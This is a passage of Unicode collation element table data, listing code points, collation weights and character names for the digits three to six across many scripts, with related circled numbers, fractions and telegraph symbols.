[.1C40.0020.0002] # MALAYALAM DIGIT THREE -0DE9 ; [.1C40.0020.0002] # SINHALA LITH DIGIT THREE -0E53 ; [.1C40.0020.0002] # THAI DIGIT THREE -0ED3 ; [.1C40.0020.0002] # LAO DIGIT THREE -0F23 ; [.1C40.0020.0002] # TIBETAN DIGIT THREE -1043 ; [.1C40.0020.0002] # MYANMAR DIGIT THREE -1093 ; [.1C40.0020.0002] # MYANMAR SHAN DIGIT THREE -136B ; [.1C40.0020.0002] # ETHIOPIC DIGIT THREE -17E3 ; [.1C40.0020.0002] # KHMER DIGIT THREE -17F3 ; [.1C40.0020.0002] # KHMER SYMBOL LEK ATTAK BEI -1813 ; [.1C40.0020.0002] # MONGOLIAN DIGIT THREE -1949 ; [.1C40.0020.0002] # LIMBU DIGIT THREE -19D3 ; [.1C40.0020.0002] # NEW TAI LUE DIGIT THREE -1A83 ; [.1C40.0020.0002] # TAI THAM HORA DIGIT THREE -1A93 ; [.1C40.0020.0002] # TAI THAM THAM DIGIT THREE -1B53 ; [.1C40.0020.0002] # BALINESE DIGIT THREE -1BB3 ; [.1C40.0020.0002] # SUNDANESE DIGIT THREE -1C43 ; [.1C40.0020.0002] # LEPCHA DIGIT THREE -1C53 ; [.1C40.0020.0002] # OL CHIKI DIGIT THREE -3023 ; [.1C40.0020.0002] # HANGZHOU NUMERAL THREE -A623 ; [.1C40.0020.0002] # VAI DIGIT THREE -A8D3 ; [.1C40.0020.0002] # SAURASHTRA DIGIT THREE -A903 ; [.1C40.0020.0002] # KAYAH LI DIGIT THREE -A9D3 ; [.1C40.0020.0002] # JAVANESE DIGIT THREE -A9F3 ; [.1C40.0020.0002] # MYANMAR TAI LAING DIGIT THREE -AA53 ; [.1C40.0020.0002] # CHAM DIGIT THREE -ABF3 ; [.1C40.0020.0002] # MEETEI MAYEK DIGIT THREE -10109 ; [.1C40.0020.0002] # AEGEAN NUMBER THREE -102E3 ; [.1C40.0020.0002] # COPTIC EPACT DIGIT THREE -104A3 ; [.1C40.0020.0002] # OSMANYA DIGIT THREE -1085A ; [.1C40.0020.0002] # IMPERIAL ARAMAIC NUMBER THREE -1087B ; [.1C40.0020.0002] # PALMYRENE NUMBER THREE -108A9 ; [.1C40.0020.0002] # NABATAEAN NUMBER THREE -1091B ; [.1C40.0020.0002] # PHOENICIAN NUMBER THREE -109C2 ; [.1C40.0020.0002] # MEROITIC CURSIVE NUMBER THREE -10A42 ; [.1C40.0020.0002] # KHAROSHTHI DIGIT THREE -10B5A ; [.1C40.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER THREE -10B7A ; [.1C40.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER THREE -10BAB ; [.1C40.0020.0002] # PSALTER PAHLAVI NUMBER THREE -10E62 ; [.1C40.0020.0002] # RUMI DIGIT THREE -11054 ; [.1C40.0020.0002] # BRAHMI NUMBER THREE -11069 ; [.1C40.0020.0002] # BRAHMI DIGIT THREE -110F3 ; [.1C40.0020.0002] # SORA SOMPENG DIGIT THREE -11139 ; [.1C40.0020.0002] # CHAKMA DIGIT THREE -111D3 ; [.1C40.0020.0002] # SHARADA DIGIT THREE -111E3 ; [.1C40.0020.0002] # SINHALA ARCHAIC DIGIT THREE -112F3 ; [.1C40.0020.0002] # KHUDAWADI DIGIT THREE -11453 ; [.1C40.0020.0002] # NEWA DIGIT THREE -114D3 ; [.1C40.0020.0002] # TIRHUTA DIGIT THREE -11653 ; [.1C40.0020.0002] # MODI DIGIT THREE -116C3 ; [.1C40.0020.0002] # TAKRI DIGIT THREE -11733 ; [.1C40.0020.0002] # AHOM DIGIT THREE -118E3 ; [.1C40.0020.0002] # WARANG CITI DIGIT THREE -11C53 ; [.1C40.0020.0002] # BHAIKSUKI DIGIT THREE -11C5C ; [.1C40.0020.0002] # BHAIKSUKI NUMBER THREE -12401 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE ASH -12408 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE DISH -12417 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE GESH2 -12420 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE GESHU -12424 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHAR2 -12425 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHAR2 VARIANT FORM -1242E ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHARU -1242F ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHARU VARIANT FORM -12436 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BURU -12437 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BURU VARIANT FORM -1243A ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE VARIANT FORM ESH16 -1243B ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE VARIANT FORM ESH21 -1244B ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE ASH TENU -12451 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BAN2 -12457 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN NIGIDAESH -16A63 ; [.1C40.0020.0002] # MRO DIGIT THREE -16B53 ; [.1C40.0020.0002] # PAHAWH HMONG DIGIT THREE -1D362 ; [.1C40.0020.0002] # COUNTING ROD UNIT DIGIT THREE -1E8C9 ; [.1C40.0020.0002] # MENDE KIKAKUI DIGIT THREE -1E953 ; [.1C40.0020.0002] # ADLAM DIGIT THREE -FF13 ; [.1C40.0020.0003] # FULLWIDTH DIGIT THREE -0F2C ; [.1C40.0020.0004] # TIBETAN DIGIT HALF THREE -2476 ; [*0317.0020.0004][.1C40.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT THREE -248A ; [.1C40.0020.0004][*0277.0020.0004] # DIGIT THREE FULL STOP -1F104 ; [.1C40.0020.0004][*0222.0020.0004] # DIGIT THREE COMMA -1D7D1 ; [.1C40.0020.0005] # MATHEMATICAL BOLD DIGIT THREE -1D7DB ; [.1C40.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT THREE -1D7E5 ; [.1C40.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT THREE -1D7EF ; [.1C40.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT THREE -1D7F9 ; [.1C40.0020.0005] # MATHEMATICAL MONOSPACE DIGIT THREE -2462 ; [.1C40.0020.0006] # CIRCLED DIGIT THREE -24F7 ; [.1C40.0020.0006] # DOUBLE CIRCLED DIGIT THREE -2778 ; [.1C40.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT THREE -2782 ; [.1C40.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT THREE -278C ; [.1C40.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT THREE -00B3 ; [.1C40.0020.0014] # SUPERSCRIPT THREE -2083 ; [.1C40.0020.0015] # SUBSCRIPT THREE -324A ; [.1C40.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER THIRTY ON BLACK SQUARE -325A ; [.1C40.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER THIRTY -33FD ; [.1C40.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY -325B ; [.1C40.0020.0006][.1C3E.0020.0006] # CIRCLED NUMBER THIRTY ONE -33FE ; [.1C40.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE -325C ; [.1C40.0020.0006][.1C3F.0020.0006] # CIRCLED NUMBER THIRTY TWO -325D ; [.1C40.0020.0006][.1C40.0020.0006] # CIRCLED NUMBER THIRTY THREE -325E ; [.1C40.0020.0006][.1C41.0020.0006] # CIRCLED NUMBER THIRTY FOUR -00BE ; [.1C40.0020.001E][*0626.0020.001E][.1C41.0020.001E] # VULGAR FRACTION THREE QUARTERS -325F ; [.1C40.0020.0006][.1C42.0020.0006] # CIRCLED NUMBER THIRTY FIVE -2157 ; [.1C40.0020.001E][*0626.0020.001E][.1C42.0020.001E] # VULGAR FRACTION THREE FIFTHS -32B1 ; [.1C40.0020.0006][.1C43.0020.0006] # CIRCLED NUMBER THIRTY SIX -32B2 ; [.1C40.0020.0006][.1C44.0020.0006] # CIRCLED NUMBER THIRTY SEVEN -32B3 ; [.1C40.0020.0006][.1C45.0020.0006] # CIRCLED NUMBER THIRTY EIGHT -215C ; [.1C40.0020.001E][*0626.0020.001E][.1C45.0020.001E] # VULGAR FRACTION THREE EIGHTHS -32B4 ; [.1C40.0020.0006][.1C46.0020.0006] # CIRCLED NUMBER THIRTY NINE -1F19B ; [.1C40.0020.001C][.1C8F.0020.001D] # SQUARED THREE D -33E2 ; [.1C40.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE -32C2 ; [.1C40.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH -335B ; [.1C40.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE -0034 ; [.1C41.0020.0002] # DIGIT FOUR -0664 ; [.1C41.0020.0002] # ARABIC-INDIC DIGIT FOUR -06F4 ; [.1C41.0020.0002] # EXTENDED ARABIC-INDIC DIGIT FOUR -07C4 ; [.1C41.0020.0002] # NKO DIGIT FOUR -096A ; [.1C41.0020.0002] # DEVANAGARI DIGIT FOUR -09EA ; [.1C41.0020.0002] # BENGALI DIGIT FOUR -0A6A ; [.1C41.0020.0002] # GURMUKHI DIGIT FOUR -0AEA ; [.1C41.0020.0002] # GUJARATI DIGIT FOUR -0B6A ; [.1C41.0020.0002] # ORIYA DIGIT FOUR -0BEA ; [.1C41.0020.0002] # TAMIL DIGIT FOUR -0C6A ; [.1C41.0020.0002] # TELUGU DIGIT FOUR -0CEA ; [.1C41.0020.0002] # KANNADA DIGIT FOUR -0D6A ; [.1C41.0020.0002] # MALAYALAM DIGIT FOUR -0DEA ; [.1C41.0020.0002] # SINHALA LITH DIGIT FOUR -0E54 ; [.1C41.0020.0002] # THAI DIGIT FOUR -0ED4 ; [.1C41.0020.0002] # LAO DIGIT FOUR -0F24 ; [.1C41.0020.0002] # TIBETAN DIGIT FOUR -1044 ; [.1C41.0020.0002] # MYANMAR DIGIT FOUR -1094 ; [.1C41.0020.0002] # MYANMAR SHAN DIGIT FOUR -136C ; [.1C41.0020.0002] # ETHIOPIC DIGIT FOUR -17E4 ; [.1C41.0020.0002] # KHMER DIGIT FOUR -17F4 ; [.1C41.0020.0002] # KHMER SYMBOL LEK ATTAK BUON -1814 ; [.1C41.0020.0002] # MONGOLIAN DIGIT FOUR -194A ; [.1C41.0020.0002] # LIMBU DIGIT FOUR -19D4 ; [.1C41.0020.0002] # NEW TAI LUE DIGIT FOUR -1A84 ; [.1C41.0020.0002] # TAI THAM HORA DIGIT FOUR -1A94 ; [.1C41.0020.0002] # TAI THAM THAM DIGIT FOUR -1B54 ; [.1C41.0020.0002] # BALINESE DIGIT FOUR -1BB4 ; [.1C41.0020.0002] # SUNDANESE DIGIT FOUR -1C44 ; [.1C41.0020.0002] # LEPCHA DIGIT FOUR -1C54 ; [.1C41.0020.0002] # OL CHIKI DIGIT FOUR -3024 ; [.1C41.0020.0002] # HANGZHOU NUMERAL FOUR -A624 ; [.1C41.0020.0002] # VAI DIGIT FOUR -A8D4 ; [.1C41.0020.0002] # SAURASHTRA DIGIT FOUR -A904 ; [.1C41.0020.0002] # KAYAH LI DIGIT FOUR -A9D4 ; [.1C41.0020.0002] # JAVANESE DIGIT FOUR -A9F4 ; [.1C41.0020.0002] # MYANMAR TAI LAING DIGIT FOUR -AA54 ; [.1C41.0020.0002] # CHAM DIGIT FOUR -ABF4 ; [.1C41.0020.0002] # MEETEI MAYEK DIGIT FOUR -1010A ; [.1C41.0020.0002] # AEGEAN NUMBER FOUR -102E4 ; [.1C41.0020.0002] # COPTIC EPACT DIGIT FOUR -104A4 ; [.1C41.0020.0002] # OSMANYA DIGIT FOUR -1087C ; [.1C41.0020.0002] # PALMYRENE NUMBER FOUR -108AA ; [.1C41.0020.0002] # NABATAEAN NUMBER FOUR -108AB ; [.1C41.0020.0002] # NABATAEAN CRUCIFORM NUMBER FOUR -109C3 ; [.1C41.0020.0002] # MEROITIC CURSIVE NUMBER FOUR -10A43 ; [.1C41.0020.0002] # KHAROSHTHI DIGIT FOUR -10B5B ; [.1C41.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER FOUR -10B7B ; [.1C41.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER FOUR -10BAC ; [.1C41.0020.0002] # PSALTER PAHLAVI NUMBER FOUR -10E63 ; [.1C41.0020.0002] # RUMI DIGIT FOUR -11055 ; [.1C41.0020.0002] # BRAHMI NUMBER FOUR -1106A ; [.1C41.0020.0002] # BRAHMI DIGIT FOUR -110F4 ; [.1C41.0020.0002] # SORA SOMPENG DIGIT FOUR -1113A ; [.1C41.0020.0002] # CHAKMA DIGIT FOUR -111D4 ; [.1C41.0020.0002] # SHARADA DIGIT FOUR -111E4 ; [.1C41.0020.0002] # SINHALA ARCHAIC DIGIT FOUR -112F4 ; [.1C41.0020.0002] # KHUDAWADI DIGIT FOUR -11454 ; [.1C41.0020.0002] # NEWA DIGIT FOUR -114D4 ; [.1C41.0020.0002] # TIRHUTA DIGIT FOUR -11654 ; [.1C41.0020.0002] # MODI DIGIT FOUR -116C4 ; [.1C41.0020.0002] # TAKRI DIGIT FOUR -11734 ; [.1C41.0020.0002] # AHOM DIGIT FOUR -118E4 ; [.1C41.0020.0002] # WARANG CITI DIGIT FOUR -11C54 ; [.1C41.0020.0002] # BHAIKSUKI DIGIT FOUR -11C5D ; [.1C41.0020.0002] # BHAIKSUKI NUMBER FOUR -12402 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR ASH -12409 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR DISH -1240F ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR U -12418 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR GESH2 -12421 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR GESHU -12426 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR SHAR2 -12430 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR SHARU -12438 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BURU -1243C ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU -1243D ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU4 -1243E ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU A -1243F ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU B -1244C ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR ASH TENU -12452 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BAN2 -12453 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BAN2 VARIANT FORM -12469 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR U VARIANT FORM -16A64 ; [.1C41.0020.0002] # MRO DIGIT FOUR -16B54 ; [.1C41.0020.0002] # PAHAWH HMONG DIGIT FOUR -1D363 ; [.1C41.0020.0002] # COUNTING ROD UNIT DIGIT FOUR -1E8CA ; [.1C41.0020.0002] # MENDE KIKAKUI DIGIT FOUR -1E954 ; [.1C41.0020.0002] # ADLAM DIGIT FOUR -FF14 ; [.1C41.0020.0003] # FULLWIDTH DIGIT FOUR -0F2D ; [.1C41.0020.0004] # TIBETAN DIGIT HALF FOUR -2477 ; [*0317.0020.0004][.1C41.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT FOUR -248B ; [.1C41.0020.0004][*0277.0020.0004] # DIGIT FOUR FULL STOP -1F105 ; [.1C41.0020.0004][*0222.0020.0004] # DIGIT FOUR COMMA -1D7D2 ; [.1C41.0020.0005] # MATHEMATICAL BOLD DIGIT FOUR -1D7DC ; [.1C41.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT FOUR -1D7E6 ; [.1C41.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT FOUR -1D7F0 ; [.1C41.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT FOUR -1D7FA ; [.1C41.0020.0005] # MATHEMATICAL MONOSPACE DIGIT FOUR -2463 ; [.1C41.0020.0006] # CIRCLED DIGIT FOUR -24F8 ; [.1C41.0020.0006] # DOUBLE CIRCLED DIGIT FOUR -2779 ; [.1C41.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT FOUR -2783 ; [.1C41.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT FOUR -278D ; [.1C41.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FOUR -2074 ; [.1C41.0020.0014] # SUPERSCRIPT FOUR -2084 ; [.1C41.0020.0015] # SUBSCRIPT FOUR -324B ; [.1C41.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER FORTY ON BLACK SQUARE -32B5 ; [.1C41.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER FORTY -32B6 ; [.1C41.0020.0006][.1C3E.0020.0006] # CIRCLED NUMBER FORTY ONE -32B7 ; [.1C41.0020.0006][.1C3F.0020.0006] # CIRCLED NUMBER FORTY TWO -32B8 ; [.1C41.0020.0006][.1C40.0020.0006] # CIRCLED NUMBER FORTY THREE -32B9 ; [.1C41.0020.0006][.1C41.0020.0006] # CIRCLED NUMBER FORTY FOUR -32BA ; [.1C41.0020.0006][.1C42.0020.0006] # CIRCLED NUMBER FORTY FIVE -2158 ; [.1C41.0020.001E][*0626.0020.001E][.1C42.0020.001E] # VULGAR FRACTION FOUR FIFTHS -32BB ; [.1C41.0020.0006][.1C43.0020.0006] # CIRCLED NUMBER FORTY SIX -32BC ; [.1C41.0020.0006][.1C44.0020.0006] # CIRCLED NUMBER FORTY SEVEN -32BD ; [.1C41.0020.0006][.1C45.0020.0006] # CIRCLED NUMBER FORTY EIGHT -32BE ; [.1C41.0020.0006][.1C46.0020.0006] # CIRCLED NUMBER FORTY NINE -1F19E ; [.1C41.0020.001C][.1D65.0020.001D] # SQUARED FOUR K -33E3 ; [.1C41.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR -32C3 ; [.1C41.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL -335C ; [.1C41.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR -0035 ; [.1C42.0020.0002] # DIGIT FIVE -0665 ; [.1C42.0020.0002] # ARABIC-INDIC DIGIT FIVE -06F5 ; [.1C42.0020.0002] # EXTENDED ARABIC-INDIC DIGIT FIVE -07C5 ; [.1C42.0020.0002] # NKO DIGIT FIVE -096B ; [.1C42.0020.0002] # DEVANAGARI DIGIT FIVE -09EB ; [.1C42.0020.0002] # BENGALI DIGIT FIVE -0A6B ; [.1C42.0020.0002] # GURMUKHI DIGIT FIVE -0AEB ; [.1C42.0020.0002] # GUJARATI DIGIT FIVE -0B6B ; [.1C42.0020.0002] # ORIYA DIGIT FIVE -0BEB ; [.1C42.0020.0002] # TAMIL DIGIT FIVE -0C6B ; [.1C42.0020.0002] # TELUGU DIGIT FIVE -0CEB ; [.1C42.0020.0002] # KANNADA DIGIT FIVE -0D6B ; [.1C42.0020.0002] # MALAYALAM DIGIT FIVE -0DEB ; [.1C42.0020.0002] # SINHALA LITH DIGIT FIVE -0E55 ; [.1C42.0020.0002] # THAI DIGIT FIVE -0ED5 ; [.1C42.0020.0002] # LAO DIGIT FIVE -0F25 ; [.1C42.0020.0002] # TIBETAN DIGIT FIVE -1045 ; [.1C42.0020.0002] # MYANMAR DIGIT FIVE -1095 ; [.1C42.0020.0002] # MYANMAR SHAN DIGIT FIVE -136D ; [.1C42.0020.0002] # ETHIOPIC DIGIT FIVE -17E5 ; [.1C42.0020.0002] # KHMER DIGIT FIVE -17F5 ; [.1C42.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM -1815 ; [.1C42.0020.0002] # MONGOLIAN DIGIT FIVE -194B ; [.1C42.0020.0002] # LIMBU DIGIT FIVE -19D5 ; [.1C42.0020.0002] # NEW TAI LUE DIGIT FIVE -1A85 ; [.1C42.0020.0002] # TAI THAM HORA DIGIT FIVE -1A95 ; [.1C42.0020.0002] # TAI THAM THAM DIGIT FIVE -1B55 ; [.1C42.0020.0002] # BALINESE DIGIT FIVE -1BB5 ; [.1C42.0020.0002] # SUNDANESE DIGIT FIVE -1C45 ; [.1C42.0020.0002] # LEPCHA DIGIT FIVE -1C55 ; [.1C42.0020.0002] # OL CHIKI DIGIT FIVE -3025 ; [.1C42.0020.0002] # HANGZHOU NUMERAL FIVE -A625 ; [.1C42.0020.0002] # VAI DIGIT FIVE -A8D5 ; [.1C42.0020.0002] # SAURASHTRA DIGIT FIVE -A905 ; [.1C42.0020.0002] # KAYAH LI DIGIT FIVE -A9D5 ; [.1C42.0020.0002] # JAVANESE DIGIT FIVE -A9F5 ; [.1C42.0020.0002] # MYANMAR TAI LAING DIGIT FIVE -AA55 ; [.1C42.0020.0002] # CHAM DIGIT FIVE -ABF5 ; [.1C42.0020.0002] # MEETEI MAYEK DIGIT FIVE -1010B ; [.1C42.0020.0002] # AEGEAN NUMBER FIVE -10143 ; [.1C42.0020.0002] # GREEK ACROPHONIC ATTIC FIVE -10148 ; [.1C42.0020.0002] # GREEK ACROPHONIC ATTIC FIVE TALENTS -1014F ; [.1C42.0020.0002] # GREEK ACROPHONIC ATTIC FIVE STATERS -1015F ; [.1C42.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIVE -10173 ; [.1C42.0020.0002] # GREEK ACROPHONIC DELPHIC FIVE MNAS -102E5 ; [.1C42.0020.0002] # COPTIC EPACT DIGIT FIVE -10321 ; [.1C42.0020.0002] # OLD ITALIC NUMERAL FIVE -104A5 ; [.1C42.0020.0002] # OSMANYA DIGIT FIVE -1087D ; [.1C42.0020.0002] # PALMYRENE NUMBER FIVE -108AC ; [.1C42.0020.0002] # NABATAEAN NUMBER FIVE -108FC ; [.1C42.0020.0002] # HATRAN NUMBER FIVE -109C4 ; [.1C42.0020.0002] # MEROITIC CURSIVE NUMBER FIVE -10AEC ; [.1C42.0020.0002] # MANICHAEAN NUMBER FIVE -10CFB ; [.1C42.0020.0002] # OLD HUNGARIAN NUMBER FIVE -10E64 ; [.1C42.0020.0002] # RUMI DIGIT FIVE -11056 ; [.1C42.0020.0002] # BRAHMI NUMBER FIVE -1106B ; [.1C42.0020.0002] # BRAHMI DIGIT FIVE -110F5 ; [.1C42.0020.0002] # SORA SOMPENG DIGIT FIVE -1113B ; [.1C42.0020.0002] # CHAKMA DIGIT FIVE -111D5 ; [.1C42.0020.0002] # SHARADA DIGIT FIVE -111E5 ; [.1C42.0020.0002] # SINHALA ARCHAIC DIGIT FIVE -112F5 ; [.1C42.0020.0002] # KHUDAWADI DIGIT FIVE -11455 ; [.1C42.0020.0002] # NEWA DIGIT FIVE -114D5 ; [.1C42.0020.0002] # TIRHUTA DIGIT FIVE -11655 ; [.1C42.0020.0002] # MODI DIGIT FIVE -116C5 ; [.1C42.0020.0002] # TAKRI DIGIT FIVE -11735 ; [.1C42.0020.0002] # AHOM DIGIT FIVE -118E5 ; [.1C42.0020.0002] # WARANG CITI DIGIT FIVE -11C55 ; [.1C42.0020.0002] # BHAIKSUKI DIGIT FIVE -11C5E ; [.1C42.0020.0002] # BHAIKSUKI NUMBER FIVE -12403 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE ASH -1240A ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE DISH -12410 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE U -12419 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE GESH2 -12422 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE GESHU -12427 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SHAR2 -12431 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SHARU -12439 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE BURU -1244D ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE ASH TENU -12454 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE BAN2 -12455 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE BAN2 VARIANT FORM -1246A ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE U VARIANT FORM -16A65 ; [.1C42.0020.0002] # MRO DIGIT FIVE -16B55 ; [.1C42.0020.0002] # PAHAWH HMONG DIGIT FIVE -1D364 ; [.1C42.0020.0002] # COUNTING ROD UNIT DIGIT FIVE -1E8CB ; [.1C42.0020.0002] # MENDE KIKAKUI DIGIT FIVE -1E955 ; [.1C42.0020.0002] # ADLAM DIGIT FIVE -FF15 ; [.1C42.0020.0003] # FULLWIDTH DIGIT FIVE -0F2E ; [.1C42.0020.0004] # TIBETAN DIGIT HALF FIVE -2478 ; [*0317.0020.0004][.1C42.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT FIVE -248C ; [.1C42.0020.0004][*0277.0020.0004] # DIGIT FIVE FULL STOP -1F106 ; [.1C42.0020.0004][*0222.0020.0004] # DIGIT FIVE COMMA -1D7D3 ; [.1C42.0020.0005] # MATHEMATICAL BOLD DIGIT FIVE -1D7DD ; [.1C42.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT FIVE -1D7E7 ; [.1C42.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT FIVE -1D7F1 ; [.1C42.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT FIVE -1D7FB ; [.1C42.0020.0005] # MATHEMATICAL MONOSPACE DIGIT FIVE -2464 ; [.1C42.0020.0006] # CIRCLED DIGIT FIVE -24F9 ; [.1C42.0020.0006] # DOUBLE CIRCLED DIGIT FIVE -277A ; [.1C42.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT FIVE -2784 ; [.1C42.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT FIVE -278E ; [.1C42.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FIVE -2075 ; [.1C42.0020.0014] # SUPERSCRIPT FIVE -2085 ; [.1C42.0020.0015] # SUBSCRIPT FIVE -324C ; [.1C42.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER FIFTY ON BLACK SQUARE -32BF ; [.1C42.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER FIFTY -1F1A0 ; [.1C42.0020.001C][*0277.0020.001C][.1C3E.0020.001C] # SQUARED FIVE POINT ONE -215A ; [.1C42.0020.001E][*0626.0020.001E][.1C43.0020.001E] # VULGAR FRACTION FIVE SIXTHS -215D ; [.1C42.0020.001E][*0626.0020.001E][.1C45.0020.001E] # VULGAR FRACTION FIVE EIGHTHS -33E4 ; [.1C42.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE -32C4 ; [.1C42.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY -335D ; [.1C42.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE -0036 ; [.1C43.0020.0002] # DIGIT SIX -0666 ; [.1C43.0020.0002] # ARABIC-INDIC DIGIT SIX -06F6 ; [.1C43.0020.0002] # EXTENDED ARABIC-INDIC DIGIT SIX -07C6 ; [.1C43.0020.0002] # NKO DIGIT SIX -096C ; [.1C43.0020.0002] # DEVANAGARI DIGIT SIX -09EC ; [.1C43.0020.0002] # BENGALI DIGIT SIX -0A6C ; [.1C43.0020.0002] # GURMUKHI DIGIT SIX -0AEC ; [.1C43.0020.0002] # GUJARATI DIGIT SIX -0B6C ; [.1C43.0020.0002] # ORIYA DIGIT SIX -0BEC ; [.1C43.0020.0002] # TAMIL DIGIT SIX -0C6C ; [.1C43.0020.0002] # TELUGU DIGIT SIX -0CEC ; [.1C43.0020.0002] # KANNADA DIGIT SIX -0D6C ; [.1C43.0020.0002] # MALAYALAM DIGIT SIX -0DEC ; [.1C43.0020.0002] # SINHALA LITH DIGIT SIX -0E56 ; [.1C43.0020.0002] # THAI DIGIT SIX -0ED6 ; [.1C43.0020.0002] # LAO DIGIT SIX -0F26 ; [.1C43.0020.0002] # TIBETAN DIGIT SIX -1046 ; [.1C43.0020.0002] # MYANMAR DIGIT SIX -1096 ; [.1C43.0020.0002] # MYANMAR SHAN DIGIT SIX -136E ; [.1C43.0020.0002] # ETHIOPIC DIGIT SIX -17E6 ; [.1C43.0020.0002] # KHMER DIGIT SIX -17F6 ; [.1C43.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-MUOY 